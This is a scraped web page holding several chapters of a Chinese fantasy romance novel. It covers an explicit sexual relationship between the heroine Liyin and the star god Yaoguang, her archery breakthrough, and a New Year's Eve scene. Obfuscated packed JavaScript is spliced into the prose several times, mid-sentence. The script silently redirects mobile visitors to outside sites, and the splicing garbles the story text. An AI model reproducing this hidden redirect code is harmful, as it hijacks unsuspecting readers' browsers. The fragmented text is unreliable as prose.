;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383913|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,腕骨汹汹一抖,便将腕间铃铛和阎王扣化作的长鞭同时劈甩而出! 叮铃—— 引魂铃清脆的铃声在紫府深寂的殿宇之中响过,而一道淡褐色的硕长鞭影穿行其中,如一根能无限伸长的巨大藤蔓,向着榻上半醉的神明之躯,自脚腕而始,攀着他修长的腿骨、腰身、肩臂…… 一圈,两圈…… 如织茧一般,缓慢到近乎暧昧地盘缠而上。 直到最后一圈鞭身在他白皙的脖颈之上收拢,璃音才慢慢呼出口气,收了手凑近一瞧,看他被自己捆裹成了个一动都不得动弹的褐色大茧,唯独剩了个漂亮的脑袋面色不善地露在外面,终于忍不住扑哧一声,就在他眼前笑了出来。 让他作怪,这下总算安分了。 可想起他方才抱着自己,几乎在天宫各处都亲了一圈回来,璃音颊上又腾地烧灼起来,不由捂住脸,羞臊地长长哀叹了一声。 今夜过后,恐怕她和摇光神君之间这点不清不楚的暧昧,便要传遍整个天宫,无人不知,无人不晓了吧。 许是听见了她的哀鸣,榻上的“褐色大茧”口吻淡淡地开了口:“你若讨厌,我现在就去叫他们都闭嘴。” 说着轻轻一挣,竟就直接挣脱了身上长鞭,整个身影便在一片疾闪而过的蓝芒之中,消失不见了! 璃音一惊,忙放出神识,飞快向外搜寻了出去。 这没脸皮的醉鬼,自己喝醉了酒,抱着她到处乱亲乱跑,回来后非但一点不反省,居然还要一个个上门去威胁每一个看到他们亲吻的人闭嘴。 那些个仙子神君们收到他封口威胁的画面实在太过尴尬,光是想象一下,她就觉得脚底板都发起了麻,璃音顿时头大如斗,他不要脸她还要呢! 幸而他也是真醉了,压根不认得路,去的每个地方都是随机出现,这会儿,竟就屈着一条腿,在房梁上悠悠坐着,垂着一双黑静静的、因醉意而轻微失焦的眸子,在迷迷离离地望她呢。 璃音长鞭一甩一勾,勾住他腰身,直接将人卷了下来。 把人重新按回榻上,璃音没有收回自己的神识,而是一个翻身跨坐上男人的腰腹,然后俯下额头,与他狠狠相抵,将自己磅礴汹涌的神识,透过两人相连的额心,向着他识海深处,狠狠压了上去! 淡青色亮光在两人额心同时闪过,她从身体到神魂都将他狠狠压制在身下,命令他:“你今晚就乖乖给我在这躺着,哪儿也不许去,听见了没有!” 身下的男人安静了一会,就在璃音以为他终于乖乖听话,准备撤身离开的时候,那抹一直如一汪寂静深海般安静蛰伏在她之下的幽蓝神识,竟忽地一动,就紧贴在她的神识之下,轻轻与她拱蹭厮磨了起来。 体内最危险又敏感的地方被他蹭弄,少女的眸色一瞬幽暗下来。 “不想进来吗?” 后脑不知何时又被他大掌扣上,男人的唇凑了上来,含住她的,与他的神识一起厮磨着她,低哑着声音,向她发出了一句不知死活的邀请:“今天可以让你进来。” 166. [锁] [此章节已锁] 璃音不是第一次进入摇光这抹神识了。 少女长了副清丽乖巧的面容,神识却蓬勃、激昂,有着倔强不息、蒸腾旺盛的生命力。 而他人眼中的摇光言语无拘、行事恣肆,内里的神识却沉湛、渊静,如能平静吞噬掉一切巨浪的深海,包容着少女在他体内一切不知轻重的放肆与占有。 因为她的闯入,于是从来寂淡的静海也被搅动,修长指骨插进少女浓黒的发间,唇舌勾缠着她的,识海晃晃漾漾,指节亦叠起随她起伏的层澜,掌在她脑后,一下下缓绻又鼓励似地揉抚着。 可精巧编挽的发辫被他揉乱,少女不满起来,惩罚地冲撞他,咬他送在她口中的舌尖,他咽下一声轻喘,轻摸着她的后脑安抚:“明日再给你梳新的。” 少女这才满意了,奖励般在他唇上轻啄了下,可神识却仍毫不客气地向着他更深处侵犯,慢慢碾磨过他神魂中的每一寸,然后行至某处,忽然停下,质问地戳了戳。 那里,本该镌着一枚她给他的烙印。 可他却把它弄丢了。 那上面刻有她的名字,刻有她对他死生相随的承诺与爱意,可如今,那处像是被人整个剜去了一块,只余下极淡极淡的一点幽暗荧光,被她戳了一下,又不甘消散似的,一明一灭,倔强地闪动了起来。 惊人的烫意灼起,摇光在两人黏连的唇齿间滚过一声难抑的闷喘,灵流乱窜,无数冷蓝的电弧在他周身噼啪烁起。 危险! 璃音登时警觉,欲将神识撤离,男人浩荡的识海却自四面八方缠涌而来,她被他温柔却又强势地裹覆其中,半步也再抽离不得。 直到耳畔传来男人一声低笑,璃音才猛地反应过来,自己竟是着了他的道,自投了罗网! 什么让她进来,根本就是装乖用色相诱哄她进来,好把她吃干抹净! 可比起找他算账,现在还有更棘手的情况需要处理,一室乱流攒动,男人轻笑的余音还残留在两人交缠过的榻上,璃音却已在一道噼啪闪过的清光间,被醉酒的神明压抵在了殿中一根抱柱之上,听他含碾着她的唇,含糊发出遗憾的一声轻喃:“这里,他也亲过了。” 又在说胡话了。 璃音蹙眉,正要推他,却见他眼皮倏地向上撩起,眼底是两团纠葛在一起的青蓝色灵流,混着一抹被醉意激发出的骀荡幽光,盯在她的脸上,灼灼熠熠。 被他这狼一般幽恣的眼神激得心头一跳,璃音心里不好的预感升起,果然,下一息,男人唇角一勾,一阵狂肆的灵流,在他瞳底和周身一齐猛烈暴走起来! 少女的衣裙最先遭了殃,只一瞬,便被暴乱的电弧撕扯成了烂布。 这副模样,若再被他不受控制地带去哪处大庭广众之下,那就真要羞愤而死了! 于是顾不上他忽揽过她的腰肢,也顾不上他放肆落进她肩窝的吻,璃音惊忙抬手,在这殿内殿外,密密层层连布下十几道结界。 就在最后一道结界堵着门窗落下时,一道灵流狂闪,她后背猛地触上一层软弹,就被他一手揽腰,一手抄过膝弯抱着,放坐在了殿内大开的窗沿之上。 璃音背靠着自己方才落下的那一道结界,长长吁出一口气。 幸好……幸好那一道结界下得及时。 可顾了结界,身上便不免失守,他的唇和指尖开始在她身上各处肆无忌惮地游走,像在一路寻找着什么,却又遍寻不到,直至宽厚的掌不断下探…… 像是终于找到了埋藏的珍宝,他忽抬头,看着她,勾唇意气洋洋地一笑。 然后便是强势地打开,按住。 上半身忽然的失重让璃音轻呼一声,忙反手撑住了窗沿,不让自己倒栽下去,而男人就在这时蹲俯下身,撩起眼皮向上看了她一眼,便埋下头,伸出舌尖,像平时亲吻她的唇一样,轻柔地舔吻了上去。 轰! 男人湿热的软舌温柔而细密地服侍上来,璃音全身气血炸涌,头脑都几乎空白了一瞬。 那个高高在上、从不垂眼看世间的神明,如今折膝在她的腿间,专注地垂着眼,竟然,竟然在…… 惊喘一声,她想去推他,可两人的神识仍连在一处,又被他绞缠得厉害,男人的舌灵活又柔软,却又带着不可忽视的韧,不断勾起她身体一阵阵颤栗的酥麻,如坠入无尽的深海,四面都是海水,温柔的海浪自四面八方温裹而来,于是推他的纤白指骨改插入他的发,泛着轻栗,蜷起在了他墨黑的发间。 “怎么在抖,别怕。” 男人轻笑一声,竟在那处啄下一个安抚的吻,发出细微却清晰的啵的一声。 她羞臊地呜咽一声,耳朵红得快要滴血,便在这一刻,她终于体会到为什么和心爱的人在一起,会被叫作鱼水之欢。他是她深广的水域,而她是一尾甘愿沉沦在这片水域中的鱼,被他无所不在地涌覆。 他给的刺激和舒服太过,她有些难以承受地阖上眼,泪水决堤般不受控制地溢出眼角,水液靡靡漫漫,在这寂静的殿内响彻,她指节痉动了一下,死死按扣住他的后脑,纤长的脖颈向后仰起,任温柔的灭顶覆没了上来。 余韵中慵慵地半睁开眼,正见他慢条斯理地抬起一张湿漉漉的俊脸,连浓黑的睫毛上都沾染了晶亮羞耻的水光,他勾动被她涂抹得水亮的唇角:“舒服了?阿璃刚才哭得好厉害。” “只有这里,是他们都没亲过的,对不对?” 一脸餍足地说罢,又埋俯下去,鼻尖厮磨着蹭了蹭,又再轻柔地含吻住她,延长她的余韵。 来不及思考他口中的“他们”又是怎么回事,在见到他沾满了乱七八糟的液体的脸向她抬起的那一霎,心理、神魂和身体上的三重刺激,铺天盖地而来的温柔海波在这一刻汇成一股巨大的惊涛,铺天盖地,既凶且急,向她狠狠拍下! 落下的水花飞溅,如万川归一又归海。 又好似万焰攒聚,汇作一簇焰火轰然炸开,又再蓬乱散作零落漫天的星点。 他起身吻在她耳后,抵上来,与神识一道厮磨着,在她耳边低哑着声线诱哄:“也让我进去好不好?” 少女攀着他结实的肩背,在满脑子噼里啪啦的焰火之中,猛地仰起脸,眸中一片晶亮的惊喜。 “我明白了,我全都明白了!”她欢声雀跃,偏过头,在他脸上重重亲了一口,“你真是我的幸运星!” 而后一把推开他,急忙忙扯下他的衣袍披上,一手挥出万壑千山图,留下某位被她扒了衣服、眼神幽幽的神君,一个纵身,跃了进去。 * 欲要一箭化万箭,须先万箭凝一箭! 持弓凝箭,一箭射出,璃音仰头,望着漫天飞燃的灵焰,兴奋得一整张脸都红扑扑的。 落焰飞天! 领悟之后显得如此简单的道理,在没领悟之前,真是差点想破了她的脑袋。 而一想到那顿悟的契机,她的脸便不免又红上了几分。 谁能想到,醉酒后的摇光神君,原来会变成一个如此可怕的大淫/魔,大变态! 她此刻压根不敢出去,生怕又被他按在哪里就啃了起来。 体内颤栗的余韵仍在,一时竟分不清是他留下的,还是领悟了无上精妙箭术后的兴奋。 璃音红着脸,忙念了几遍静心诀,重新持起落日,一遍遍习起了弓箭。 * 走出万壑千山图的时候,外头天光大亮,已是第二日清早。 殿内无人,璃音放出神识找了找,抱了殿里一面铜镜在怀里,一路小跑着奔去了后院。 她将铜镜往树下石桌上一搁,面对摇光坐下,顶着乱糟糟一头鸟窝似的乌发,理直气壮道:“昨天说好了的,要给我梳头。” 摇光撩起一点眼皮看她,一派清贵懒散,身子没动,衣冠齐整,眼底已是十足的清醒。 不会酒醒了就要耍赖不认账了吧! 少女登时气圆了眼,下唇狠狠往上抵了又抵,把两瓣好看的唇抿抵成了反弯的一道弧,叫人一瞧就知道她在不高兴。 昨夜他把她欺负成那样,叫她在整个天宫里巡回“出丑”,难道也一醒泯恩仇,就这么算了?! 直到现在,她身上还只松垮披挂了一件他的外袍,内里一片褴褛,连一块像样的布料都找不见,也全都是拜他所赐。 真是越想越委屈,她可不是个能受委屈的人,再加上昨夜领悟了后羿神君的无上箭术,底气足得不得了,当下就霍地起身,气势汹汹召了落日在手,绷着脸道:“君子一诺为重,百金为轻,说出口的话可就要算数,神君若要如此翻悔,那小仙也教不了你了,小仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398836|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就去找娘娘禀明,解除神君与小仙之间的师生关系……” 后面的话说不下去了,摇光已一个晃身站在她身后扳过她的下巴,柔软的唇不容抗拒地覆下,把她后面的字音堵了个干净。 黏连着的唇齿撤开,他仍是不和她说话,但手上却拿起了篦子,拢着她长长的一头乌发,对着铜镜,为她不紧不慢地梳挽起来。 对镜照着,彼此的眉目神情都一览无余,璃音悄悄别过脸,感受着身后男人火烫的身躯,暗笑。 关键时刻被她抛下,欲求不满了一整夜的男人,难怪脾气这么大。 梳洗一番,重新整饬好了衣裙,璃音神清气爽,今日得闲,她决定什么也不做,就好好陪这几日不知暗地里喝了几缸醋的男人四处逛逛,然后晚上再去一趟长云山,把她已悟出“落焰飞天”的好消息告知一下归岚。 算算归岚也该休息够了,是时候让他做好准备,喊过来陪她一起练箭了。 爱情修炼两丰收,少女志得意满,满心欢喜,自然而然便牵住心上人的手,十指抓握,一路黏黏缠缠,晃晃荡荡,和他一起跨出了紫府巍然高大的殿门。 温暖的日光洒照下来,深吸一口气,就连空气都是那么清新,啊,多么晴朗而又美好的一天! 直到…… 一阵窃窃的笑声与低议声传来。 璃音扭头一看,路旁两个仙侍,正自以为隐蔽地偷眼觑着这边,掩唇低笑着,不知在议论这什么。 一路走,一路遇到的男仙女仙们皆是如此。 都不必问,必然是昨夜她和摇光神君那一场拥吻着的巡回大秀,已在天宫沸沸扬扬传扬开了。 那一个个向她瞟来的眼神,有赞她生猛的,有不可思议的,更有万分同情的……看得璃音走着走着,忽然就停下了步子。 “不想听就不要听。”摇光以为她着了恼,霜寒的目光向那些人一一扫过,就欲抽手出去,“我去把他们赶走。” “不用。”璃音却忙收紧了手上的力道,把他拉了回来。 少女紧紧牵握住他的手,仰起脸来,没一点羞怒的神色,眉眼一弯,竟是带着几分狡黠地笑了。 识海之中,少女清涧般的嗓音传来,她嘻嘻笑着:“这下全天宫都知道神君是小仙的人了,神君可再赖不掉了。” 而且,前世,那些同情的目光,可全都是落在商月身上的,这一下有他这恶名在外的“大恶人”作衬,她在众仙眼中的形象,立刻便无比的高大威武、又温柔善良了起来,那些她曾渴求过的“赞誉”,一下子全都落到她的身上来了。 她心头暗爽,迎着他晶亮含笑的漆眸,也知他对那些人的目光毫不在意,甘当“恶人”来衬托她,真是她的绝配,于是少女笑起来,越发握紧了他的手,重又迈开步子,两人十指扣在一处,也又愉悦地一起轻轻晃动起来。 身边的这个人,虽然性格恶劣、脾气还大,三天两头捉弄她,时常气得她牙痒,但只要牵着他,就好像可以一直一直在这样明媚的时光里走下去,那些曾经扭曲、阴暗、颓败的心思,都被驱散去了逼仄荒僻的角落,再笼不住她。 璃音正这么想着,忽然交握的掌心之中一阵热烫灼起,脑中有一帧帧模糊的画面,飞速掠了过去。 是她在月牢之中一边掉眼泪,一边折了根树枝,蹲在那株月桂树下画阵。 画着画着,她突然就扔了树枝,猛地起身,一手擦着眼泪,就回身向着那株粗大的树干扑抱了过去。 她抱着那个安全的树洞,向它说了好多好多的话,说自己,说商月,也说昆仑山上的种种,她说活着好累,如果有哪位正义的仙子神君能找到她,冲进来把她一剑处决了就好了。 等哭累了,她便挑了根树枝躺上,搂抱着树干,迷迷糊糊打起了盹。 到这里,都是璃音经历过,也记得的,算不得什么新鲜的画面。 但等树上的少女迷迷离离做起噩梦时,虚空之中,却有一只宽大的手掌搭上了她的颊,细细为她抹去泪痕,然后轻轻拨开那些因为泪水而黏在她颊边的发丝,用他清淡却令人安心的嗓音在她耳边说:“阿璃,别怕,再等一等我……” 画面便在此处戛然而止,后面男人又说了什么,璃音拼命想要搜寻,识海茫茫,却再也抓寻不到了。 167. 第166章 贪欢 “左边一点……哎,不好不好,这边有点挡着我晒太阳了,还是右边点,对,再往右……” 午后天光正好,晴空日暖,璃音舒懒地窝在还音殿后院的躺椅里,伸着根白嫩挑剔的指尖,不断地指左挪右,指挥着摇光在她院中挥舞着一只大铁锹,四处刨土种树。 特地不许他使用任何术法灵力,就是想看他出点挥锹扒土的狼狈丑态,罚一罚他的。 谁让那夜她发现这院中无树,委屈地蹲在地上哭了好久,他却能狠着心,没来立刻抱她呢。 当然,要罚他的事还远不止这一件,自九百年前回来后,欺负她的事、害她掉的眼泪真是数都数不过来了,所以他恶行累累,而她有恶必报,不过饭要一口一口吃,惩罚也只能一件一件来,今日,就先从这小小的挖土栽树开始吧! 然而,谁成想,一把粗笨钝拙的铁锹,到了他手中,愣是被挥得从从容容、矫飒翩翩,简直挥出了精冷寒铁、绝世名锹的架势,看得璃音嘴里的梅子越嚼越慢,越嚼越慢……咕咚,就咽了下去。 啪嗒。 一锹下去,袍角、额心都被泥点子溅了上来,可他也能丝毫不见狼狈,继续优游自适地刨着土坑,仿佛这世上根本没有任何事情能狼狈到他。 而躺椅上孤零零坐着一袋梅子干,方才还躺在上面的少女早已扔了零嘴,飞步过去男人身边,心疼地抬袖帮他擦了脸,看看坑挖得差不多了,两人就都蹲身下去,脑袋凑在一处,四只手安安静静翻搅在同一个泥坑里,埋根推土,玩了半天的泥巴。 一排树苗齐齐整整栽种完毕,璃音起身,一面错手拍着掌心的泥,一面后退几步,满意地看着。 替两人都捏过净体咒,摇光也退身站去少女身侧,牵了她的手在掌心捏玩着,慵慵半眯起眼,也将这些树打量了半晌,不知想起什么,忽地暧昧一捏少女肉嘟嘟的掌心,勾唇一笑,点评道:“有遮挡是要好些。” 璃音登时明白了他在想什么,一下便烫红了耳根,扭头向这变态怒道:“它还只是个小树苗!” 不理会他眸底促狭的笑意,栽树花费了大半日,看看时间,是该去找归岚修炼了。 凡人武将追求弓马娴熟,她要磨合的却是弓龙娴熟,难度还是要大上许多的。 她跑去收起铁锹,这锹是从小蜀的且生观里借的,毕竟天宫哪能找来这么一把锈迹斑拙的大钝锹,一会儿还得给人观里还回去呢。 一回头,看摇光理所当然悠悠然跟着,忙举起锹头朝他一指,肃声勒令他不许跟来。 摇光挑眉低笑,神姿清笃:“我不会打扰你们。” 璃音抖了抖锹头,完全不信他的鬼话:“你站在那里,就是打扰!”说罢,红着脸,飞速向长云山逃走了。 自他那夜醉酒,抱着她在天宫各处亲过一圈之后,两人的关系在天宫可谓是暴露得人尽皆知,连苍梧林里的□□都知道他俩是出双入对的了。 于是,他们便果然如商止师兄说过的那般,没有人说得清是在哪一个时刻,甚至没有人对彼此剖白过“喜欢”这类的话语,便如此你知我知、自然而然地在一起了。 或许是互通心意前彼此都打打闹闹憋屈了太久,那夜之后,两人简直便似新婚的小夫妻一般,格外贪欢,不管做什么,都只想时时刻刻能与对方黏在一起,一刻也分不离。 男人这种安静粘人的手段璃音是见识过的,他一旦笃定了她心里有他,便会十万分地有恃无恐起来。他很少明言向她求欢,但他知道自己漂亮,知道自己身体对她的吸引力,会不动声色地反复勾哄于她。 于是有时看着看着书,就被他抱坐在了膝上,她只好肩颈处夹着一颗安静窝埋在那里的脑袋,继续看她的书。 有时晚上陪他值夜,他慵坐观星台上,她枕臂仰躺在他身边,看着看着星星,不知何时,就又被他含吮着耳垂,坐进了他腿间。 …… 数不胜数。 总之,最后的结局,都是她丢盔卸甲,两人不知不觉就又做了起来。 而拥有星辰神力的摇光神君,比凡间的慕璟明还要危险得多。 他情动时,会像那日醉酒时那般,周身噼里啪啦流窜起扰乱空间的灵弧,也就是说,他随时都可能带着她,暴露在任何一处随机的地点! 惊得她每次都把结界在周身裹了一层又一层,这种随时可能暴露、心惊肉跳的刺激,大概也真是天上地下独一份了。 有一次,一息低喘之间,她就被他的结界与灵流裹覆着,抵在了西王母蟠桃园中一株粗大的桃树上。 又是这棵树。 那日他醉酒时,也把她带来过这棵树下。 不知对这棵树有着什么别样的钟情,他那日似乎格外兴奋,面上虽然不显,但一双眼瞳幽亮,幽狼般紧紧盯着她,从进入开始就极凶,极重,又不住地低头下来吻她。 结界遮掩不住树影的摇动,桃园清寂,偶有侍桃仙子们拎着竹篮穿巡而过,隔着薄薄的一层结界,能听到她们银铃一般嬉笑着近前又远去的声响。 花瓣摇落下来,落在她的身上,他吮着她的后颈把她翻过,追着那些粉粉白白的柔软花瓣吻她的背。 或许是在她身上难弄出痕迹,他便格外热衷于在她身体各处留下他的气味。唇珠、双颊、脖颈、腿侧、还有少女雪白的背脊上,一路全是他吮出的湿痕,待她体内体外,原本幽幽的冷香都被他清郁的月桂花香侵满,他还不知餍足,一定要追着她问:“这里呢,他亲过你这里吗?” 她也是直到这时,才逐渐明白过来,他到底是在吃谁的醋了。 她真是又好气又好笑,这人在凡间时,莫名其妙吃天上自己的醋,等归位回了天宫,又开始莫名其妙吃凡间自己的醋。 简直没处说理,他自己和自己较劲,结果每次受折腾的都是她。 他热衷于在她身上寻找一切慕璟明没亲过的地方□□,就连在青天白日里的树下也不放过她。 她自小是被阿娘当作大家闺秀教养出来的,何曾做过如此荒唐出格之事。 但或许因为在她体内放肆的是他;或许她真是被他带坏了,渐渐食髓知味;又或许是因为那件大事将近,她怕好物难坚牢,一阵风过,便要终如云散琉璃碎,便格外纵容了他。 那日她被他翻来覆去弄得简直丢了魂,迷迷离离间,一片花瓣软软覆落在他唇边,鼻间被桃花清软的香气和他情动时的馥郁桂香充斥,她脑中欢愉与记忆的白光一齐闪过,恍惚想起前世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而过快拿起书册的动作太过可疑,还是惹来了商止师兄的注意,璃音悄悄抬起一点头,正对上商止师兄偏头向她望来的视线,窗外美好的星辉流淌,他转过脸温和望她,抬手用长指在唇上轻抵了抵,便就无声地转回,将所有清稳柔和的目光,都凝回了师姐那张熟睡的脸上。 璃音识趣地噤声,将诵读改为默背,背了一会,又忍不住偷眼向师兄看去一眼,神识敲了敲发间那根飞蝶银簪,好奇地问:“若是你和九百年前的商止师兄打起来,会是谁的赢面大些?” 对面似乎认真思索推演了一番,而后淡傲一笑,给出了一个十分不要脸的回答:“浮光剑的威力或可不相上下,但我的剑更快。” 破军连接星辰之力,可斩破空间,千里瞬袭,魔尊云卿不就是这样死在他的剑下的么,只要他想,确实没人能比他的剑更快。 思及云卿,璃音忽然想起什么,又敲了敲那发簪问他:“你知道魔尊云卿炼过一副万龙甲,他被你斩杀后,那铠甲去哪了吗?” 当时那个出现在东海海底,与她夺取落日神弓的神秘人,穿戴的就是云卿身上那一副万龙甲。 对面一顿,璃音就知道他从没关心过这个问题,也是,凭他的性子,估计一剑把云卿斩首之后,连他脑袋滚去了哪里都没关心过,还能关心他战甲的下落? 就在她以为不会再有答案,准备重新埋头背书的时候,识海中传来了摇光略有些迟滞的嗓音,似乎正在转述着身边谁的话:“文昌在说,云卿伏诛后,因无人知晓龙族那位仅剩的归岚君的下落,万龙甲最后……” 他顿了顿:“是被赐去了月宫。” 168. 第167章 警惕 万龙甲最后被赐去了月宫。 这样一件几乎凝集了神龙一族全部血泪而成的宝物,月宫中能有资格穿戴它的…… 璃音缓缓抬头,视线中,商止师兄正安静侧头凝望着巫真师姐的睡颜,丝毫没有察觉到她悄然窥探而来的目光。 师兄望向师姐的眼神温和淡絮,远山青竹似的眉眼,又沾着几分病弱的苍白温悴,真比水墨画里的那些淡墨勾线还要雅静。 当年神魔一战,师兄受到重创,几乎魂体不存,此后便一直在巫真师姐的悉心看顾下休养,甚少再理会月宫事务,早被人调侃是月宫送来昆仑山上的病美人神婿。 而他自己似乎也安得如此,待商月渐渐长成气候,便连浮光剑都送了出去,这意思再明显不过,便是他打算彻底交出权柄,留伴师姐身侧,自此清净度日,再不回去月宫了。 所以,除去已该算作昆仑之人的师兄,那月宫之中,能穿戴此甲的,就只剩下…… 那熟悉的名字尚未来得及浮现,璃音就不可置信地摇了摇头,试图把这荒诞的念头摇走。 可脑海中,那身穿银甲的神秘人却在不住清晰地涌现:他有颀挺的身形,龙鳞凝制而成的银甲冷厉薄韧,紧贴裹覆着他肌骨匀健、修长英拔的躯体。他看她的眼神阴晴难定,时而温和,时而幽静,时而又泛出似乎带着刻骨恨意的躁戾。 他的灵力霸道又深厚,抬手便可轻易碾碎她与归岚设下的重重结界。 那一日,他恨蔑地掐着她的脖子,一路直上九重天,像扔掉什么早该消失的垃圾一般,把她丢进了九死一生的神魔战场。 这些记忆在璃音脑中一幕接着一幕闪过,她对这神秘人身份的盘想一日都未曾停止过,所以每一幕皆是历历清晰,清晰到那人眼中的每一丝躁戾恨意她都记得一清二楚,宛若昨日。 所以即便身形是那般相似,那人也绝不可能是商月。 商月绝不会对她如此。 不是她自恃有他的爱意,所以有此自恋的念想,而是她了解他,知他本性绝非如此。 商月是个真正意义上的“圣人”,一个人越是伤害他,反而越是会激发他内心深处的慈悲和感化欲,且从这个角度上来看,他也有他的偏执,他偏执地想要感化一切,保护那些或许并不需要他保护的人。 所以,哪怕不是她,而是换做任何一个人,他都绝不会流露出那样狠戾轻蔑的眼神,或是把人轻飘飘地扔进一个有去无回的炼狱。 他只会想方设法把人锁起来,然后隔着铁栅栏,对那人温柔又天真地说:“你就乖乖被关在这里好不好?我会帮你的,我不会再让你犯错。” 从师兄那与商月有着七八分相似的面庞上收回视线,璃音搭下眼帘,心不在焉地拨动了一下书页。 她心里把商月排除得那样飞快,是在害怕什么吗。 做了那么一大堆状似笃定的分析,可她真有自己以为的那般了解他吗? 毕竟,正如那日商月忽然毫无征兆地向她道了歉时她想的那样—— 人,是会变的呀。 * 潜心修习的日子过得飞快,除夕那晚,夜阑风静,空中飘着一点小小的雪粒子,璃音拉着摇光坐在且生观主殿前的石阶上,仰头靠在男人身上,一面看着星星,一面望天摊出一只手掌,接着偶尔坠来的一两片轻雪。 天生天养的神仙自然没有守岁的习惯,可璃音是凡人飞升上去的,于这些凡界的习俗,总还有意无意会保留一些。 想起九百年前那一夜除夕,她也是坐在这里,和小七、归岚、还有小蜀一起,在一片热闹声中,她在孔明灯上,写下了“此间欢笑,岁岁年年”的愿望。 如今身后殿内灯火堂堂,小蜀又喝得半醉,到处逮着人陪她下她的臭棋,归岚第一个败下阵来,被罚酒罚得熏熏然,早已瘫坐在阶旁,呜呜咽咽,一口一个“爹”或“主人”地叫唤了。 但今时毕竟不同往日,云上真人有了掌门的大身份,欺负完归岚,自然还有一堆的徒子徒孙供她蹂虐。 没多久,虞宛言就黑着一张脸逃了出来。 结果因为没看路,被脚下趴坐成一摊的归岚狠狠绊了一跤。 虞姐姐在身后跟着,一面温声细语安抚着被无赖师尊气个半死又绊跤黑脸的弟弟,一面掩着唇笑个不停。 看那总是满脸阴郁、爱怼自己的少年吃瘪,璃音扑哧一声,毫不客气地笑跌在了身后摇光的怀里。 九百年的岁月漫漫,但她的愿望竟奇迹般地实现了,谁也没有走丢,还多了几个新鲜的、很有意思的朋友,真好。 恰见小蜀踉跄着醉步出来,璃音忙窝在男人怀里,探长了脖颈,向她大声提议:“小蜀!今年再来放灯吧!” 醉后的小蜀总会变得格外豪迈,她大袖一挥,道:“今儿个没灯,我也是后来才搞清楚,人间灯笼专是在上元节放,除夕是不放灯的。” 打了个酒嗝,又一拍胸脯,继续豪阔道:“姐姐,你……嗝……你上元节再来,我保管给你挂满半座山的灯笼,把全城最好的灯都给你买来,到时候姐姐要放灯,想放几盏就几盏!” 璃音听说没灯有些惋惜,但看小蜀这满脸酡红、对她一副霸道豪宠的模样,又实在可爱得好笑,今夜放灯的念头便此作罢。 至于上元节…… 那天她大概率有事要忙,应当是没功夫来这山上赏灯放灯了。 而小蜀已经醉态豪放地一指边上的虞家一对姐弟,直接做起了指挥部署:“小五小六!对,就你俩,上元节留下……嗝……留下给我挂灯……” 话音未竟,身子断片一歪,竟就软趴趴醉倒了下去,幸而手中那根翠绿的竹杖及时抽身一横,在老道背上轻轻一个撑抵,这才没叫这观中方才还在挥斥方遒的掌门人丢了颜面,直接瘫倒在地上。 虞宛言见状,之前恼归恼,还是连忙几个大步上前,将师尊接扶住了,抬起头看了阿姐一眼,随后眼皮一搭,似乎有些无奈地轻叹一声,道:“师尊,我们不是与您说过了,明日弟子和阿姐便要动身,上元节,不会在观里了。” 然而云上真人带着酒意的鼾声响起,轰轰隆隆,也不知是她鼾声真能打得这么响还是有意,无比响亮地盖过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425702|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年略显无奈的嗓音。 看来这师徒间的龃龉到底还是未能完全消除。 少年又是一声轻叹,但还是小心仔细地搀扶着师尊,抬头向阿姐道了一声:“师尊醉了,我先送她回去歇息。”便往后堂住处去了。 璃音仍是懒懒靠坐在摇光怀里,闻言不禁仰起脸来,向虞宛初道:“虞姐姐,你们明日就要动身去昆仑了吗,这么早?” 虞宛初温和一笑,耐心解释道:“攀山不可御剑,只能靠两条腿一点一点攀爬,我和阿言只提前三个月出发,已不算早的了。” 攀山不可御剑,这个璃音是知道的。 昆仑山到底是仙山,虽自山麓到半山腰都可容人以凡体之躯攀登,但这一路攀山途中,却有个极大的限制,便是不可使用灵力术法。 所以便如科举赶考一般,报名要来巫师大考的修士们早早便要准备好考篮动身,赶在三月大考前,仅凭着两条腿,一路艰苦攀至山腰发放考牌之处,领取了考牌,入住了专为修士们备下的考房,才算是正式获取了考试资格。 考虑到攀山途中可能遇到的种种艰险,生怕临时出什么意外,修士们基本都会提前很久便开始攀山,扎扎实实落下脚在山腰处等候,如此才算安心。 璃音已是仙身,自然直接免去了这一步,只没想到山下的凡人修士们竟这么早就要出发了,半座山,竟准备要攀上三个月么。 那么多修士聚拢在昆仑山下,想到上元节那日可能发生的变故,璃音不禁眉心微拢,张嘴想要劝说虞姐姐不急在这十五天,不若过了上元节再去。 